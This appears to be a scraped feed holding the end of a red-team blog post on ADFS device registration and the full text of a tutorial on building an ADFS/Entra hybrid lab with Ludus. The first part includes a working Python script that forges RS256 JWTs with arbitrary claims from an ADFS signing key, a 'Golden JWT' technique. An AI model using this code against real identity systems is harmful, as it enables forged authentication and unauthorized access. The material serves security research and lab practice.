public_key = cert.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo
)
return base64.urlsafe_b64encode(hashlib.sha1(public_key).digest()).decode("utf-8").rstrip("=")

def spoof_jwt(claims, private_key, public_key, include_timestamp=True):

kid = generate_kid(public_key)

header = {
"alg": "RS256",
"x5c": kid,
"kid": kid
}

if include_timestamp:
claims["iat"] = int(time.time())
claims["exp"] = claims["iat"] + 600
claims["nbf"] = claims["iat"] - 60

token = jwt.encode(claims, private_key, algorithm="RS256", headers=header)
return token

if __name__ == "__main__":

if len(sys.argv) < 4:
print("Usage: python3 spoof.py <private_key_path> <cert_path> <claims_path>")
sys.exit(1)

# Load your RSA private key
with open(sys.argv[1], "rb") as key_file:
private_key = serialization.load_pem_private_key(key_file.read(), password=None)

with open(sys.argv[2], "rb") as cert_file:
cert = load_pem_x509_certificate(cert_file.read())

with open(sys.argv[3], "r") as claims_file:
claims = json.load(claims_file)

token = spoof_jwt(claims, private_key, cert)
print(token)

And again we can replace the generated access token delivered to ClaimsXRay and see that we can add any claims or scopes that we want:

Conclusion

So there we have it, a brain dump of ADFS OAuth2, DRS, Device Authentication, Device Writeback and some Golden JWT. Some useful bits, and some less useful (but equally interesting) bits.

If you’re the one Googling for a UUID having just stumbled across your clients ADFS deployment, hopefully this post provides something to make your life a bit easier.

And if that’s the case, give me a shout and share the story!

References & Thanks


ADFS — Living in the Legacy of DRS was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • ADFS Entra Lab with Ludus Beyviel David
    TLDRThis blog walks you through setting up an ADFS lab using Ludus and/or a flexible hybrid cloud environment for testing.The associated GitHub repo is here.IntroductionI was recently on an engagement where the customer was using Active Directory Federated Services (ADFS). ADFS is an Identity Provider (idP) by Microsoft that allows third-party applications and internal applications to delegate authentication to Active Directory.I see ADFS all the time during my engagements, and although I knew a
     

ADFS Entra Lab with Ludus

TLDR

This blog walks you through setting up an ADFS lab using Ludus and/or a flexible hybrid cloud environment for testing.

The associated GitHub repo is here.

Introduction

I was recently on an engagement where the customer was using Active Directory Federated Services (ADFS). ADFS is an Identity Provider (idP) by Microsoft that allows third-party applications and internal applications to delegate authentication to Active Directory.

I see ADFS all the time during my engagements, and although I knew about this technology in theory, I wanted to gain more experience with it. How fun would it be to spin up an ADFS lab, learn how it works under the hood, practice attacks, and analyze possible detection’s? The possibilities are endless with a home lab!

I’m a heavy Ludus user, and I use Zach Stein’s SCCM Ludus range all the time, so going with Ludus was a no brainer. Erik Hunstad developed Ludus which simplifies lab deployments, making it a powerful tool for managing virtual environments. If you’re not familiar with it yet, be sure to check out the Ludus documentation here.

Entra Challenge

While I was building the lab, I wanted to see if it would be possible to automate the process for integrating Microsoft 365 apps with ADFS for authentication. To do this on a domain-joined system, I would need to run the AzureAdConnect.msi installer, which replicates objects from an on-prem Active Directory environment to Entra ID and when configured can also write changes from Entra ID back to on-prem AD. Automating this became more difficult than I anticipated.

Instead, I’ve created an Ansible role called “entra_prep”, which prepares a dedicated server to connect your on-prem AD environment to Entra ID. You can find more details in the “Roles” section on how this works. Keep in mind that you’ll need your own Entra tenant to move forward. Once that’s set up, the only other step is running the AzureADConnect installer and following the wizard. Everything else you need for a hybrid cloud lab is ready to go.

What makes this lab super flexible is that it is essentially “choose your own adventure”. You have the freedom to decide exactly how you would like to structure your lab.

  • Don’t want to use ADFS, but just want a hybrid cloud lab? This setup works for that!
  • Want to experiment with ADFS locally and not use the cloud? Perfect!
  • Desire to understand how password hash syncing works under the hood? We have a winner!
  • Interested in playing with setting up Office Apps with ADFS and researching potential weaknesses? This works for that as well!
  • Want to test how a Golden SAML attack works and pivot from on-prem AD to the cloud? This lab will help you get there!

You get the picture, there’s a lot you can do with this home lab. I do believe this lab strikes a good balance between automation and manual setup that lets you set up how you want the cloud environment to be and still save you some time.

Roles

Ludus uses Ansible roles to manage the software and configurations in the lab environment. The following are roles that I created for this lab.

install_adfs

This role installs the ADFS role on a server, creates an ADFS service account, and requests a certificate that ADFS uses.

import_root_cert

This role requests the root certificate from the certificate authority (CA) and imports it into the local machine security store. This is necessary to remove the following certificate error which is caused because the lab machine does not trust the CA that signed the cert being used by ADFS.

entra_prep

This role adds an alternative user principal name (UPN) to the local domain which is required before connecting an on-prem domain to Entra ID. This role also installs TLS 1.2 which AzureAdConnect.msi requires. Next, this role creates a service account which is used for syncing AD objects from on-prem AD to Entra ID. There are some settings that allow Entra ID to replicate changes to on-prem AD such as group writeback, device writeback, or password writeback. If any of these settings are configured, then some changes in Entra ID like group creation, or password resets will be replicated from Entra ID to on-prem AD. Finally, this role downloads the AzureAdConnect.msi installer to the server that will be used for replication between on-prem AD and Entra ID.

Installation

I won’t be covering the installation of Ludus as this is already heavily documented in the Ludus docs. Installation of the ADFS range is simple, you just need to clone the ludas_adfs repo.

git clone https://github.com/bagelByt3s/ludus_adfs /opt/ludus_adfs

Then you add the Ansible collection to Ludus.

ludus ansible collection add /opt/ludus_adfs

Review the sample range configuration file, updating fields to suit your desired environment:

ADFS-Range.yml

ludus:
- vm_name: "DC01-WinServer2022"
hostname: "DC01"
template: win2022-server-x64-template
vlan: 10
ip_last_octet: 10
ram_gb: 8
cpus: 4
windows:
sysprep: true
domain:
fqdn: ludus.nuketown
role: primary-dc
roles:
- bagelByt3s.ludus_adfs.install_adcs

- vm_name: "ADFS-WinServer2022"
hostname: "ADFS"
template: win2022-server-x64-template
vlan: 10
ip_last_octet: 11
ram_gb: 8
ram_min_gb: 2
cpus: 4
windows:
sysprep: true
domain:
fqdn: ludus.nuketown
role: member
roles:
- bagelByt3s.ludus_adfs.import_root_cert
- bagelByt3s.ludus_adfs.install_adfs
role_vars:
adfs_service_account: 'adfs_svc'
adfs_service_account_password: 'password'
adfs_service_display_name: 'ADFS Service'
adfs_hostname: 'adfs.ludus.nuketown'
adfs_FQDN_CA: 'DC01.ludus.nuketown\ludus-CA'
adfs_CA: "ludus-CA"
adfs_certificate_subject: "CN=adfs.ludus.nuketown, O=Ludus, C=US"

- vm_name: "EntraConnect-WinServer2022"
hostname: "EntraConnect"
template: win2022-server-x64-template
vlan: 10
ip_last_octet: 12
ram_gb: 8
ram_min_gb: 2
cpus: 4
windows:
sysprep: true
domain:
fqdn: ludus.nuketown
role: member
roles:
- bagelByt3s.ludus_adfs.import_root_cert
- bagelByt3s.ludus_adfs.entra_prep
role_vars:
adfs_CA: "ludus-CA"
ludus_entra_join_svc_account: "entra_svc"
ludus_entra_join_svc_account_password: "password"
ludus_entra_join_alt_upn: "" #Example: domain.onmicrosoft.com or leave blank to skip

- vm_name: "Workstation-Win11"
hostname: "Workstation"
template: win11-22h2-x64-enterprise-template
vlan: 10
ip_last_octet: 13
ram_gb: 4
ram_min_gb: 2
cpus: 4
windows:
sysprep: true
domain:
fqdn: ludus.nuketown
role: member
roles:
- bagelByt3s.ludus_adfs.import_root_cert
role_vars:
adfs_CA: "ludus-CA"
ludus range config set -f /opt/ludus_adfs/ADFS-Range.yml
ludus range deploy

Once the deployment completes, you can visit the following URL to confirm that the ADFS deployment was successful (the domain and hostname will be different if you modified the ADFS-Range.yml file).

https://adfs.ludus.nuketown/adfs/ls/IdpInitiatedSignOn.aspx

This provides a working ADFS deployment. All that is left for you to do is to integrate third-party applications for Single Sign-On (SSO) using ADFS.

Additionally, if you have an Entra tenant and would like to migrate the domain to a hybrid deployment, simply login to the EntraConnect-WinServer2022 virtual machine and run the installer found at c:\windows\tasks\AzureAdConnect.msi.

Follow the wizard with your details and you’re on your way!

Closing Thoughts

It was a pleasure to write this blog! If you find this tool helpful in any way, or have suggestions for improvements, please don’t hesitate to reach out!

Special thanks to Erik Hunstad from https://badsectorlabs.com/ , I love Ludus and this would not be possible without it!

Also thank you to Zach Stein, his SCCM Ludus range was a big inspiration for this. Check it out here!

Originally published at https://medium.com on December 19, 2024.


ADFS Entra Lab with Ludus was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌